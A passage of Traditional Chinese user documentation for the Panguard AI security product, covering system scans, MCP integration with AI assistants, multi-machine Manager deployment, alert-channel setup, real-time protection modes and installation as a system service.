    ```
      -- Risk Score ----------------------------

      Score: 72/100 [------------------] Grade: C
      Trend: improving (+5 since last scan)

      Breakdown:
        Firewall:    80/100
        Open Ports:  60/100
        Passwords:   50/100
        Updates:     90/100
        Tools:       70/100
        Threats:     85/100
        Compliance:  65/100
        Response:    70/100
    ```
  </Step>

  <Step title="先修最嚴重的">
    先處理 CRITICAL 和 HIGH 的發現。每個發現都附帶說明和修復步驟。
  </Step>
</Steps>

***

## 快速掃描 vs. 完整掃描

| 功能           | 快速模式 (`--quick`) | 完整模式（預設） |
| ------------ | ---------------- | -------- |
| **耗時**       | \~30 秒           | \~60 秒   |
| **OS 偵測**    | 有                | 有        |
| **網路介面**     | 有                | 有        |
| **開放 port**  | 有                | 有        |
| **執行中服務**    | 有                | 有        |
| **密碼政策**     | 有                | 有        |
| **防火牆狀態**    | 有                | 有        |
| **安全工具**     | 有                | 有        |
| **SSL 憑證驗證** | 無                | 有        |
| **排程任務稽核**   | 無                | 有        |
| **共享資料夾安全**  | 無                | 有        |
| **風險分數**     | 有                | 有        |

跑完整掃描：

```bash theme={null}
panguard scan
```

***

## 嚴重程度等級

| 嚴重程度         | 意思         | 建議處理    |
| ------------ | ---------- | ------- |
| **CRITICAL** | 隨時可能被打穿    | 立刻修     |
| **HIGH**     | 重大安全風險     | 24 小時內修 |
| **MEDIUM**   | 中等風險，建議改善  | 一週內修    |
| **LOW**      | 低風險，屬於最佳實務 | 有空再修    |
| **INFO**     | 純資訊        | 不需處理    |

***

## 產生 PDF 報告

把掃描結果匯出成 PDF：

```bash theme={null}
# 英文報告
panguard scan --output my-report.pdf

# 繁體中文報告
panguard scan --output my-report.pdf --lang zh-TW
```

PDF 內容包含：

1. **封面** -- 組織名稱、掃描日期、品牌
2. **摘要** -- 風險分數、等級、發現統計
3. **發現明細** -- 每項發現的嚴重程度、說明、位置
4. **修復指引** -- 每項發現的具體修復步驟
5. **合規對應** -- 對應 ISO 27001 / SOC 2 / 台灣資通安全管理法

***

## 掃完之後下一步

<CardGroup>
  <Card title="開啟即時防護" icon="shield" href="/guides/real-time-protection">
    啟動 Guard 持續監控並保護你的系統。
  </Card>

  <Card title="設定通知" icon="bell" href="/guides/notifications-setup">
    設定 Telegram、Slack 或 Email 警報，即時收到安全事件通知。
  </Card>

  <Card title="產生合規報告" icon="file-check" href="/guides/compliance-reports">
    用掃描結果產出 ISO 27001、SOC 2 或資通安全管理法報告。
  </Card>

  <Card title="部署蜜罐" icon="flask" href="/guides/honeypots">
    設置誘餌服務來偵測和分析攻擊者。
  </Card>
</CardGroup>

***

## CLI 參考

```
panguard scan [options]

Options:
  --quick              快速模式（~30 秒）
  --output <path>      PDF 報告輸出路徑
  --lang <en|zh-TW>    語言（預設：en）
  --verbose            詳細輸出
```


# 透過 MCP 整合 AI 助手
Source: https://docs.panguard.ai/zh-Hant/guides/mcp-integration

用 MCP 把 Panguard 接上 Claude Desktop、Cursor 或 Windsurf，用自然語言做安全操作。

Panguard 內建 MCP (Model Context Protocol) server，把安全工具暴露給 AI 助手。你可以透過 AI coding 助手用自然語言跑掃描、查 Guard 狀態、查威脅、部署蜜罐。

<Steps>
  <Step title="什麼是 MCP">
    MCP (Model Context Protocol) 是連接 AI 助手和外部工具的開放標準。Panguard 的 MCP server 把安全操作包裝成 AI 助手可以幫你呼叫的工具。

    支援的 AI 助手：

    | 助手                 | Config 位置                                                                 |
    | ------------------ | ------------------------------------------------------------------------- |
    | **Claude Desktop** | `~/Library/Application Support/Claude/claude_desktop_config.json` (macOS) |
    | **Claude Code**    | `~/.claude/settings.local.json`                                           |
    | **Cursor**         | `~/.cursor/mcp.json`                                                      |
    | **QClaw**          | `~/.qclaw/mcp.json`                                                       |
    | **OpenClaw**       | `~/.openclaw/skills/panguard/SKILL.md`（原生 Skill）                          |
    | **Codex**          | `~/.codex/mcp.json`                                                       |
    | **WorkBuddy**      | `~/.workbuddy/.mcp.json`                                                  |
    | **NemoClaw**       | `~/.nemoclaw/mcp.json`                                                    |
    | **ArkClaw**        | `~/.arkclaw/mcp.json`                                                     |

    <Info>
      跑 `panguard setup` 就能自動偵測並設定所有平台。不需登入。
    </Info>
  </Step>

  <Step title="加入 MCP config">
    把 Panguard MCP server 加到你 AI 助手的 config 檔：

    <Tabs>
      <Tab title="Claude Desktop">
        編輯 `~/Library/Application Support/Claude/claude_desktop_config.json` (macOS) 或 `%APPDATA%\Claude\claude_desktop_config.json` (Windows)：

        ```json theme={null}
        {
          "mcpServers": {
            "panguard": {
              "command": "panguard",
              "args": ["mcp", "serve"],
              "env": {}
            }
          }
        }
        ```
      </Tab>

      <Tab title="Cursor">
        在專案根目錄建立或編輯 `.cursor/mcp.json`：

        ```json theme={null}
        {
          "mcpServers": {
            "panguard": {
              "command": "panguard",
              "args": ["mcp", "serve"],
              "env": {}
            }
          }
        }
        ```
      </Tab>

      <Tab title="Windsurf">
        編輯 `~/.windsurf/mcp.json`：

        ```json theme={null}
        {
          "mcpServers": {
            "panguard": {
              "command": "panguard",
              "args": ["mcp", "serve"],
              "env": {}
            }
          }
        }
        ```
      </Tab>
    </Tabs>

    存檔後重啟 AI 助手讓設定生效。
  </Step>

  <Step title="可用的 MCP 工具">
    Panguard MCP server 暴露這些工具給 AI 助手：

    | 工具                      | 說明                |
    | ----------------------- | ----------------- |
    | `scan_system`           | 跑安全掃描，回傳發現        |
    | `guard_status`          | 查 Guard 引擎狀態和近期事件 |
    | `guard_start`           | 啟動 Guard 引擎       |
    | `guard_stop`            | 停止 Guard 引擎       |
    | `get_threats`           | 查威脅情報和 IoC        |
    | `deploy_honeypot`       | 在指定服務/port 部署蜜罐   |
    | `get_attacker_profiles` | 取得攻擊者分析報告         |
    | `generate_report`       | 產生合規報告            |
    | `get_security_score`    | 取得目前風險分數和等級       |
    | `list_events`           | 列出近期 Guard 事件，可篩選 |
  </Step>

  <Step title="用自然語言做安全操作">
    設好之後，你可以直接用自然語言跟 AI 助手互動：

    <AccordionGroup>
      <Accordion title="跑安全掃描">
        **你：**「幫我掃描系統有沒有安全問題」

        助手會呼叫 `scan_system`，把發現、風險分數、建議整理成好讀的格式。
      </Accordion>

      <Accordion title="查防護狀態">
        **你：**「Guard 有在跑嗎？最近有什麼警報？」

        助手會呼叫 `guard_status` 和 `list_events`，給你完整的狀態概覽。
      </Accordion>

      <Accordion title="調查威脅">
        **你：**「查一下 IP 203.0.113.42 的資訊」

        助手會呼叫 `get_threats` 和 `get_attacker_profiles`，彙整威脅情資。
      </Accordion>

      <Accordion title="產生合規報告">
        **你：**「產生 ISO 27001 合規報告」

        助手會用 ISO 27001 框架呼叫 `generate_report` 並呈現結果。
      </Accordion>

      <Accordion title="部署蜜罐">
        **你：**「架 SSH 跟 HTTP 蜜罐來抓攻擊者」

        助手會為每種服務呼叫 `deploy_honeypot`，確認部署完成。
      </Accordion>
    </AccordionGroup>
  </Step>

  <Step title="驗證連線">
    測試 AI 助手能不能連到 Panguard MCP server：

    ```bash theme={null}
    panguard mcp test
    ```

    ```
      PANGUARD AI - MCP Server

      -- Connection Test ------------------------

      Server:     Running (stdio transport)
      Tools:      10 registered
      Auth:       Authenticated (user@example.com)

      MCP server is ready for AI assistant connections.
    ```
  </Step>
</Steps>

## 下一步

<CardGroup>
  <Card title="MCP 產品參考" icon="book" href="/products/mcp/overview">
    MCP server 架構和功能的完整文件。
  </Card>

  <Card title="MCP 工具參考" icon="wrench" href="/products/mcp/tools-reference">
    每個 MCP 工具的 schema，含參數和回傳型別。
  </Card>

  <Card title="第一次掃描" icon="magnifying-glass" href="/guides/first-scan">
    用 AI 輔助掃描之前，先了解掃描輸出。
  </Card>

  <Card title="即時防護" icon="shield-halved" href="/guides/real-time-protection">
    設好 Guard 讓 AI 助手能監控和回應威脅。
  </Card>
</CardGroup>


# 多端點部署
Source: https://docs.panguard.ai/zh-Hant/guides/multi-endpoint

部署 Panguard Manager，跨多台機器進行機群安全管理。

# 多端點部署

分散式部署中，多台機器上的 Guard agent 向一台集中式 Manager 回報。Manager 提供機群全域可見性、跨 agent 威脅關聯、集中式策略派發。

***

## 架構

```
[Machine A: Manager]                [Machine B: Guard Agent]
+-------------------+               +---------------------+
| Manager Server    |<-- heartbeat --| GuardEngine         |
| :8443             |<-- events   --| (learning/protection)|
|                   |-- policy   -->|                     |
+-------------------+               +---------------------+
        ^
        |                            [Machine C: Guard Agent]
        |                            +---------------------+
        +<-- heartbeat/events -------| GuardEngine         |
        +--- policy ---------------->|                     |
                                     +---------------------+
```

***

## 部署 Manager

<Steps>
  <Step title="產生認證 Token">
    建立 Manager 和 Agent 之間通訊用的 token：

    ```bash theme={null}
    export MANAGER_TOKEN=$(openssl rand -hex 32)
    echo $MANAGER_TOKEN
    ```

    <Warning>
      這個 token 要安全保存。每個 Guard agent 註冊都需要它。
    </Warning>
  </Step>

  <Step title="啟動 Manager">
    ```bash theme={null}
    panguard manager --port 8443 --auth-token "$MANAGER_TOKEN"
    ```

    Manager 接受 Guard agent 連線，提供：

    * **Agent 登錄** -- 最多追蹤 500 個已註冊 agent
    * **威脅彙總** -- 透過來源 IP、惡意軟體 hash、攻擊模式做跨 agent 關聯
    * **策略引擎** -- 集中派發規則和 config
    * **SSE 串流** -- 給管理儀表板的即時事件串流
  </Step>

  <Step title="確認 Manager 在跑">
    ```bash theme={null}
    curl -H "Authorization: Bearer $MANAGER_TOKEN" \
      http://localhost:8443/api/overview
    ```
  </Step>
</Steps>

***

## 部署 Guard Agent

在每台端點機器上：

<Steps>
  <Step title="安裝 Panguard">
    ```bash theme={null}
    npm install -g panguard
    ```
  </Step>

  <Step title="啟動 Guard 並連線 Manager">
    ```bash theme={null}
    panguard guard start \
      --manager-url "http://manager-host:8443" \
      --manager-token "your-secure-token" \
      --data-dir /var/panguard-guard
    ```

    Agent 會：

    1. 啟動時向 Manager 註冊
    2. 每 30 秒送心跳
    3. 偵測到威脅即時回報
    4. 每 5 分鐘拉取策略更新
  </Step>
</Steps>

***

## Agent 生命週期

| 階段       | 端點                               | 間隔               | 說明                               |
| -------- | -------------------------------- | ---------------- | -------------------------------- |
| **註冊**   | `POST /api/agents/register`      | 一次（啟動時）          | Agent 送主機名稱、OS、版本；收到唯一 `agentId` |
| **心跳**   | `POST /api/agents/:id/heartbeat` | 每 30 秒           | CPU/記憶體用量、已處理事件數、模式、uptime       |
| **威脅回報** | `POST /api/agents/:id/events`    | 即時               | 偵測到的威脅立刻送出                       |
| **策略拉取** | `GET /api/policy/agent/:id`      | 每 5 分鐘           | Agent 檢查有沒有新策略                   |
| **失效偵測** | --                               | 每 30 秒（server 端） | 90 秒沒心跳的 agent 標記為失效             |
| **取消註冊** | `DELETE /api/agents/:id`         | 手動               | 從機群移除 agent                      |

***

## 跨 Agent 威脅關聯

Manager 的威脅彙總即時關聯所有 agent 的威脅：

* **來源 IP 關聯** -- 多個端點看到同一個攻擊者 IP，觸發升級
* **惡意軟體 hash 關聯** -- 跨 agent 出現相同指紋，代表有進行中的攻擊活動
* **攻擊模式關聯** -- 5 分鐘窗口內出現相關 MITRE ATT\&CK 模式

<Info>
  跨 agent 關聯用 5 分鐘滑動窗口，資料保留 24 小時。跨 3 個以上 agent 的威脅自動升級為 CRITICAL。
</Info>

***

## 策略派發

策略引擎讓你集中控制所有 Guard agent：

```bash theme={null}
# 設定全域策略
curl -X POST -H "Authorization: Bearer $MANAGER_TOKEN" \
  -H "Content-Type: application/json" \
  http://manager-host:8443/api/policy \
  -d '{
    "autoRespondThreshold": 85,
    "ipBlocklist": ["203.0.113.0/24"],
    "alertChannels": ["slack"]
  }'
```

策略變更會在下一個 5 分鐘拉取週期內同步到所有 agent。

***

## 即時監控

### SSE 事件串流

即時串流所有 agent 的事件：

```bash theme={null}
curl -N -H "Authorization: Bearer $MANAGER_TOKEN" \
  http://manager-host:8443/api/events/stream
```

### 機群概覽

```bash theme={null}
curl -H "Authorization: Bearer $MANAGER_TOKEN" \
  http://manager-host:8443/api/overview
```

***

## Manager 設定

### 環境變數

| 變數                              | 預設值        | 說明                    |
| ------------------------------- | ---------- | --------------------- |
| `MANAGER_PORT`                  | `8443`     | HTTP server port      |
| `MANAGER_AUTH_TOKEN`            | （無）        | API 認證用的 Bearer token |
| `MANAGER_MAX_AGENTS`            | `500`      | 最大 agent 註冊數          |
| `MANAGER_HEARTBEAT_TIMEOUT_MS`  | `90000`    | 心跳逾時（超過就標失效）          |
| `MANAGER_HEARTBEAT_INTERVAL_MS` | `30000`    | 失效檢查間隔                |
| `MANAGER_CORRELATION_WINDOW_MS` | `300000`   | 跨 agent 威脅關聯窗口（5 分鐘）  |
| `MANAGER_THREAT_RETENTION_MS`   | `86400000` | 威脅資料保留時間（24 小時）       |
| `CORS_ALLOWED_ORIGINS`          | （無）        | 逗號分隔的允許 CORS origin   |

### 可選 SQLite 持久化

大規模部署可以開 SQLite 做持久儲存：

```bash theme={null}
panguard manager --port 8443 --auth-token "$MANAGER_TOKEN" --db /var/panguard-manager/data.db
```

***

## 正式環境部署

<Tip>
  正式環境建議把 Manager 裝成 systemd 服務，前面擋 TLS
  反向代理。詳見[系統服務指南](/guides/system-service)和 [Docker
  部署指南](/guides/docker-deployment)。
</Tip>

### 安全檢查清單

* [ ] 產生強力 token（`openssl rand -hex 32`）
* [ ] 用 TLS 終止（nginx/Caddy 反向代理）
* [ ] Manager port（8443）只允許 Guard agent 網段存取
* [ ] 用非 root 系統使用者跑
* [ ] 設 `NODE_ENV=production` 開啟強化模式
* [ ] 密鑰存在 `chmod 600` 的環境檔裡

***

## 相關文件

<CardGroup>
  <Card title="架構" icon="sitemap" href="/concepts/architecture">
    Manager-Agent 系統的完整技術架構。
  </Card>

  <Card title="系統服務" icon="gear" href="/guides/system-service">
    把 Manager 和 Guard 裝成 systemd/launchd 服務。
  </Card>

  <Card title="Docker 部署" icon="docker" href="/guides/docker-deployment">
    用 Docker Compose 跑完整堆疊。
  </Card>

  <Card title="Threat Cloud" icon="cloud" href="/guides/threat-cloud-deployment">
    跨機群的集中式威脅情報。
  </Card>
</CardGroup>


# 設定通知
Source: https://docs.panguard.ai/zh-Hant/guides/notifications-setup

設定警報頻道，讓 Panguard 透過 Telegram、Slack、Email、LINE 或 Webhook 通知你威脅事件。

Panguard 把安全警報送到你團隊已經在用的頻道。這篇指南帶你設定 5 種通知頻道，並用角色控制誰收到什麼。

<Steps>
  <Step title="初始化通知設定">
    跑互動式設定精靈：

    ```bash theme={null}
    panguard chat setup
    ```

    精靈會引導你選頻道、輸入憑證。你也可以用下面的 flag 個別設定。
  </Step>

  <Step title="設定通知頻道">
    設定一個或多個頻道：

    <Tabs>
      <Tab title="Telegram">
        1. 在 Telegram 找 [@BotFather](https://t.me/BotFather) 建立一個新 bot
        2. 複製 bot token
        3. 跟你的 bot 開對話，隨便傳一則訊息
        4. 透過 Telegram API 或 [@userinfobot](https://t.me/userinfobot) 取得 chat ID

        ```bash theme={null}
        panguard chat setup --channel telegram \
          --telegram-token "123456:ABC-DEF..." \
          --telegram-chat-id "-1001234567890"
        ```

        <Tip>
          群組通知的話，把 bot 加進 Telegram 群組，用群組的 chat ID（開頭是 `-100`）。
        </Tip>
      </Tab>

      <Tab title="Slack">
        1. 到 [api.slack.com/apps](https://api.slack.com/apps) 建立新 app
        2. 在 **Bot Token Scopes** 加上 `chat:write` OAuth scope
        3. 把 app 裝到你的 workspace
        4. 複製 Bot User OAuth Token

        ```bash theme={null}
        panguard chat setup --channel slack \
          --slack-token "xoxb-..." \
          --slack-channel "#security-alerts"
        ```
      </Tab>

      <Tab title="Email">
        設定 SMTP 憑證收 email 通知：

        ```bash theme={null}
        panguard chat setup --channel email \
          --smtp-host "smtp.gmail.com" \
          --smtp-port 587 \
          --smtp-user "alerts@yourcompany.com" \
          --smtp-pass "app-password" \
          --email-to "security-team@yourcompany.com"
        ```

        <Info>
          Gmail 請用[應用程式密碼](https://support.google.com/accounts/answer/185833)，不要用帳號密碼。要先開兩步驟驗證。
        </Info>
      </Tab>

      <Tab title="LINE">
        1. 到 [notify-bot.line.me](https://notify-bot.line.me/) 建立 LINE Notify token
        2. 選要收通知的群組或一對一對話

        ```bash theme={null}
        panguard chat setup --channel line \
          --line-token "your-line-notify-token"
        ```
      </Tab>

      <Tab title="Webhook">
        送 JSON payload 到任何 HTTP 端點：

        ```bash theme={null}
        panguard chat setup --channel webhook \
          --webhook-url "https://your-server.com/api/panguard-alerts" \
          --webhook-secret "your-hmac-secret"
        ```

        Panguard 發 `POST` 請求，payload 格式如下：

        ```json theme={null}
        {
          "event": "guard.alert",
          "severity": "critical",
          "title": "Reverse shell detected",
          "details": { ... },
          "timestamp": "2026-03-07T14:22:01Z",
          "signature": "sha256=..."
        }
        ```

        `signature` header 是用你的 webhook secret 對 body 做 HMAC-SHA256 的結果，用來驗證來源。
      </Tab>
    </Tabs>
  </Step>

  <Step title="設定使用者角色">
    Panguard 有 3 種角色控制通知的詳細程度：

    | 角色          | 收到什麼                    | 適合誰        |
    | ----------- | ----------------------- | ---------- |
    | `developer` | 所有嚴重程度，完整技術細節           | 工程師、DevOps |
    | `boss`      | 只有 CRITICAL 和 HIGH，白話摘要 | 主管、管理層     |
    | `it_admin`  | 所有嚴重程度，中等細節，附行動項目       | IT 維運      |

    幫每個頻道指定角色：

    ```bash theme={null}
    panguard chat setup --channel telegram --role developer
    panguard chat setup --channel email --role boss
    panguard chat setup --channel slack --role it_admin
    ```

    <Tip>
      同一個頻道類型可以設定多次、用不同角色。例如 developer 等級的警報送 `#security-engineering`，boss 等級的摘要送 `#security-executive`。
    </Tip>
  </Step>

  <Step title="測試設定">
    送測試通知到所有已設定的頻道：

    ```bash theme={null}
    panguard chat test
    ```

    ```
      PANGUARD AI - Chat Test

      Sending test notification...

      Telegram   ... sent
      Slack      ... sent
      Email      ... sent

      All channels verified.
    ```

    測試特定頻道：

    ```bash theme={null}
    panguard chat test --channel slack
    ```
  </Step>

  <Step title="確認啟用的頻道">
    列出所有通知頻道和狀態：

    ```bash theme={null}
    panguard chat status
    ```

    ```
      PANGUARD AI - Chat Status

      -- Channels -------------------------------

      Telegram   Active   role: developer   last sent: 2m ago
      Slack      Active   role: it_admin    last sent: 15m ago
      Email      Active   role: boss        last sent: 1h ago

      3 channels configured, 3 active.
    ```
  </Step>
</Steps>

## 下一步

<CardGroup>
  <Card title="設定即時防護" icon="shield-halved" href="/guides/real-time-protection">
    通知需要 Guard 在跑。先啟動持續監控。
  </Card>

  <Card title="通知系統參考" icon="comments" href="/products/chat/overview">
    通知系統的完整文件。
  </Card>

  <Card title="使用者角色詳解" icon="users" href="/products/chat/user-roles">
    每種角色收到的內容和訊息格式說明。
  </Card>

  <Card title="通知疑難排解" icon="wrench" href="/troubleshooting/notification-issues">
    頻道設定和寄送的常見問題。
  </Card>
</CardGroup>


# 即時防護
Source: https://docs.panguard.ai/zh-Hant/guides/real-time-protection

設定 Guard 持續監控系統、了解 7 天學習期怎麼運作、設定自動威脅回應。

# 即時防護

Guard 24/7 跑在你的系統上，監控 process、網路連線、檔案和日誌。它用四個 AI agent 組成的管線即時偵測、分析、回應、報告安全威脅。

<Info>
  安裝前的安全檢查，請看 [Skill Auditor](/products/overview) -- 建議在跑任何 AI agent skill
  之前先審計。
</Info>

***

## 快速開始

<Steps>
  <Step title="啟動 Guard">
    ```bash theme={null}
    panguard guard start
    ```

    Guard 會進入**學習模式**，前 7 天觀察你系統的正常行為。
  </Step>

  <Step title="查看狀態">
    ```bash theme={null}
    panguard guard status
    ```

    ```
      -- Guard Status -----------------------

      Status:     Running
      Mode:       Learning (Day 3/7)
      PID:        12345
      Uptime:     3d 14h 22m
      Events:     12,847 observed
      Baseline:   42% complete
    ```
  </Step>

  <Step title="等待進入防護模式">
    7 天後 Guard 自動切換到**防護模式**，開始主動偵測和回應威脅。
  </Step>
</Steps>

***

## 學習模式（第 1-7 天）

學習期間 Guard 靜靜觀察並記錄：

* **Process** -- 哪些程式正常在跑、啟動時間、資源用量
* **網路** -- 正常連線模式、常用 port、流量特徵
* **檔案** -- 關鍵目錄的異動模式
* **使用者** -- 登入時間、來源 IP、操作模式

<Info>
  學習模式期間 Guard
  不會發警報。這是為了避免大多數安全工具都會遇到的誤報轟炸。你會收到每日學習進度摘要。
</Info>

***

## 防護模式（第 8 天起）

基線建好之後，Guard 啟動完整防護：

* 偏離基線的事件會觸發警報
* 三層 AI 漏斗分析可疑事件
* 根據信心度自動或手動回應
* 透過你設定的通知頻道即時通知

### 依信心度回應

| 信心度    | 動作        | 範例                    |
| ------ | --------- | --------------------- |
| > 90%  | 自動執行，事後通知 | 已知惡意 IP 自動封鎖          |
| 70-90% | 發通知請你確認   | 可疑 process -- 問你要不要砍掉 |
| \< 70% | 只通知       | 輕微異常 -- 告知你留意         |

***

## 四 Agent 管線

每個安全事件都經過四個專門的 agent：

```
  Event -> [Detect] -> [Analyze] -> [Respond] -> [Report]
```

| Agent            | 職責                                   |
| ---------------- | ------------------------------------ |
| **DetectAgent**  | ATR 規則匹配、威脅情報查詢、事件關聯                 |
| **AnalyzeAgent** | 蒐集證據、加權信心度評分、三層漏斗 AI 推理              |
| **RespondAgent** | 執行動作（封鎖 IP、砍 process、隔離檔案）、安全檢查、升級處理 |
| **ReportAgent**  | 事件紀錄、更新基線、匿名化資料送 Threat Cloud        |

***

## 回應動作

Guard 可以自動執行以下回應：

| 動作             | 說明                                   | 平台支援                                           |
| -------------- | ------------------------------------ | ---------------------------------------------- |
| **IP 封鎖**      | 封鎖惡意 IP                              | macOS (pfctl)、Linux (iptables)、Windows (netsh) |
| **檔案隔離**       | 隔離可疑檔案並記錄 SHA-256 hash               | 全平台                                            |
| **Process 終止** | 砍掉惡意 process（先 SIGTERM，5 秒後 SIGKILL） | 全平台                                            |

### 安全防護機制

Guard 內建安全規則，避免誤傷：

* **白名單 IP：** `127.0.0.1`、`::1`、`localhost`、`0.0.0.0`（加上你自訂的）
* **受保護 process：** `sshd`、`systemd`、`init`、`launchd`、`node`、`panguard-guard`
* **受保護帳號：** `root`、`Administrator`、`SYSTEM`
* **網路隔離**需信心度 >= 95%
* **不會砍自己的 process**

***

## 整合威脅情報

Guard 自動查詢 5 個威脅情報來源：

* **ThreatFox** -- IoC 資料庫（IP、domain、URL、檔案 hash）
* **URLhaus** -- 惡意軟體散布 URL
* **Feodo Tracker** -- C2 伺服器追蹤
* **GreyNoise** -- IP 信譽（針對性 vs. 大規模掃描）
* **AbuseIPDB** -- 社群回報的惡意 IP

每小時更新，搭配本地 cache 避免重複查詢。

***

## 規則引擎

### ATR 規則

Guard 內建 768 條 ATR 規則，你也可以加自訂規則：

```yaml theme={null}
# 自訂規則：偵測透過 Agent 的 SSH 暴力破解
id: ATR-CUSTOM-001
name: SSH Brute Force via Agent
severity: high
detection:
  patterns:
    - event_type: login_failed
      service: ssh
  context: system_event
action: alert
```

把 `.yml` 檔放進 Guard 的規則目錄就好。Guard 支援 hot reload，自動載入新規則。

***

## 管理 Guard

```bash theme={null}
# 啟動 Guard
panguard guard start

# 查看狀態
panguard guard status

# 停止 Guard
panguard guard stop

# 看目前 config
panguard guard config

# 裝成系統服務（開機自動跑）
panguard guard install
```

<Tip>
  正式環境建議把 Guard
  裝成系統服務，開機自動啟動、掛掉自動重啟。詳見[系統服務指南](/guides/system-service)。
</Tip>

***

## CLI 參考

```
panguard guard <command> [options]

Commands:
  start              啟動 Guard 引擎
  stop               停止 Guard 引擎
  status             顯示狀態
  install            安裝為系統服務
  uninstall          移除系統服務
  config             顯示目前 config

Options:
  --data-dir <path>  資料目錄（預設：~/.panguard-guard）
```

***

## 相關文件

<CardGroup>
  <Card title="學習模式" icon="graduation-cap" href="/concepts/learning-mode">
    深入了解 7 天學習期和基線建立機制。
  </Card>

  <Card title="三層式 AI 漏斗" icon="brain-circuit" href="/concepts/three-layer-ai">
    規則、本地 AI、雲端 AI 怎麼協同運作。
  </Card>

  <Card title="系統服務" icon="gear" href="/guides/system-service">
    把 Guard 裝成 systemd/launchd 服務。
  </Card>

  <Card title="通知設定" icon="bell" href="/guides/notifications-setup">
    設定 Guard 怎麼通知你威脅事件。
  </Card>
</CardGroup>


# 系統服務
Source: https://docs.panguard.ai/zh-Hant/guides/system-service

把 Guard 裝成 systemd、launchd 或 Windows 服務，開機自動跑、持續防護。

# 系統服務安裝

把 Guard 裝成系統服務，開機自動啟動、掛掉自動重啟，不需手動介入就能持續跑。

***

## 快速安裝

```bash theme={null}
# 裝成系統服務
panguard guard install

# 移除系統服務
panguard guard uninstall
```

`install` 指令會偵測你的 OS，自動建立對應的服務 config。

***

## 各平台說明

<Tabs>
  <Tab title="macOS (launchd)">
    Guard 建立一個 LaunchDaemon plist：

    ```
    /Library/LaunchDaemons/ai.panguard.guard.plist
    ```

    **裝好之後：**

    * 開機自動啟動
    * 異常退出自動重啟
    * 日誌寫到 `/var/log/panguard-guard.log`

    **手動管理：**

    ```bash theme={null}
    # 查服務狀態
    sudo launchctl list | grep panguard

    # 手動啟動
    sudo launchctl load /Library/LaunchDaemons/ai.panguard.guard.plist

    # 手動停止
    sudo launchctl unload /Library/LaunchDaemons/ai.panguard.guard.plist
    ```
  </Tab>

  <Tab title="Linux (systemd)">
    Guard 建立一個 systemd unit 檔：

    ```
    /etc/systemd/system/panguard-guard.service
    ```

    **Unit 檔範例：**

    ```ini theme={null}
    [Unit]
    Description=Panguard Guard Agent
    After=network-online.target
    Wants=network-online.target

    [Service]
    Type=simple
    User=panguard
    Group=panguard
    WorkingDirectory=/opt/panguard
    ExecStart=/usr/bin/node /opt/panguard/dist/cli/index.js guard --mode protection --data-dir /var/panguard-guard
    Restart=always
    RestartSec=10
    StandardOutput=journal
    StandardError=journal
    SyslogIdentifier=panguard-guard

    # 安全強化
    NoNewPrivileges=true
    ProtectSystem=strict
    ProtectHome=true
    ReadWritePaths=/var/panguard-guard
    PrivateTmp=true

    # 回應動作需要的 capabilities
    AmbientCapabilities=CAP_NET_ADMIN CAP_KILL CAP_SYS_PTRACE

    Environment=NODE_ENV=production
    Environment=PANGUARD_DATA_DIR=/var/panguard-guard
    EnvironmentFile=-/etc/panguard/guard.env

    [Install]
    WantedBy=multi-user.target
    ```

    **手動管理：**

    ```bash theme={null}
    # 查服務狀態
    systemctl status panguard-guard

    # 啟動 / 停止
    sudo systemctl start panguard-guard
    sudo systemctl stop panguard-guard

    # 看日誌
    journalctl -u panguard-guard -f
    ```

    **需要的 Linux capabilities：**

    | Capability       | 用途                    |
    | ---------------- | --------------------- |
    | `CAP_NET_ADMIN`  | 透過 iptables 封鎖 IP     |
    | `CAP_KILL`       | 砍掉惡意 process          |
    | `CAP_SYS_PTRACE` | 記憶體掃描偵測 fileless 惡意軟體 |
  </Tab>

  <Tab title="Windows (Services)">
    Guard 註冊為 Windows 服務：

    ```
    Service Name:    PanguardGuard
    Display Name:    Panguard Guard AI
    ```

    **裝好之後：**

    * 開機自動啟動
    * 異常退出自動重啟
    * 日誌寫到 Windows Event Log

    **手動管理：**

    ```powershell theme={null}
    # 查服務狀態
    sc.exe query PanguardGuard

    # 啟動 / 停止
    sc.exe start PanguardGuard
    sc.exe stop PanguardGuard
    ```
  </Tab>
</Tabs>

***

## 手動 systemd 設定（進階）

要完全掌控服務 config 的話，照以下步驟：

<Steps>
  <Step title="建立系統使用者">
    ```bash theme={null}
    sudo useradd --system --home-dir /opt/panguard --shell /usr/sbin/nologin panguard
    ```
  </Step>

  <Step title="建立目錄">
    ```bash theme={null}
    sudo mkdir -p /opt/panguard /var/panguard-guard /etc/panguard
    sudo chown -R panguard:panguard /opt/panguard /var/panguard-guard
    ```
  </Step>

  <Step title="部署應用程式">
    ```bash theme={null}
    sudo cp -r dist/ /opt/panguard/dist/
    sudo cp -r node_modules/ /opt/panguard/node_modules/
    ```
  </Step>

  <Step title="建立環境檔">
    ```bash theme={null}
    sudo tee /etc/panguard/guard.env << 'EOF'
    PANGUARD_DATA_DIR=/var/panguard-guard
    OLLAMA_ENDPOINT=http://localhost:11434
    EOF

    sudo chmod 600 /etc/panguard/guard.env
    sudo chown panguard:panguard /etc/panguard/guard.env
    ```

    <Warning>
      環境檔裡有密鑰。權限務必設 `600`，owner 限定為服務使用者。
    </Warning>
  </Step>

  <Step title="啟用並啟動">
    ```bash theme={null}
    sudo systemctl daemon-reload
    sudo systemctl enable panguard-guard
    sudo systemctl start panguard-guard
    sudo systemctl status panguard-guard
    ```
  </Step>
</Steps>

***

## Manager 服務

Manager 也能裝成 systemd 服務，適合分散式部署：

```ini theme={null}
[Unit]
Description=Panguard Manager Server
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
User=panguard
Group=panguard
WorkingDirectory=/opt/panguard
ExecStart=/usr/bin/node /opt/panguard/dist/cli/index.js manager --port 8443
Restart=always
RestartSec=10

NoNewPrivileges=true
ProtectSystem=strict
ReadWritePaths=/var/panguard-manager
PrivateTmp=true

Environment=NODE_ENV=production
EnvironmentFile=-/etc/panguard/manager.env

[Install]
WantedBy=multi-user.target
```

***

## Watchdog 健康監控

系統服務內建 watchdog 機制：

* 每 60 秒檢查 Guard process 健康狀態
* 記憶體用量異常時重啟
* CPU 用量異常時降級
* 重啟次數超過門檻就停止並通知

***

## 批次部署腳本

產生一行安裝腳本，方便跨多台機器部署：

```bash theme={null}
panguard guard install-script
```

產生的腳本會：

1. 下載 Panguard AI
2. 安裝依賴
3. 裝成系統服務
4. 啟動 Guard

***

## 資料目錄

| 平台      | 預設路徑                        |
| ------- | --------------------------- |
| macOS   | `~/.panguard-guard/`        |
| Linux   | `~/.panguard-guard/`        |
| Windows | `%APPDATA%\panguard-guard\` |

用 `--data-dir` 覆蓋：

```bash theme={null}
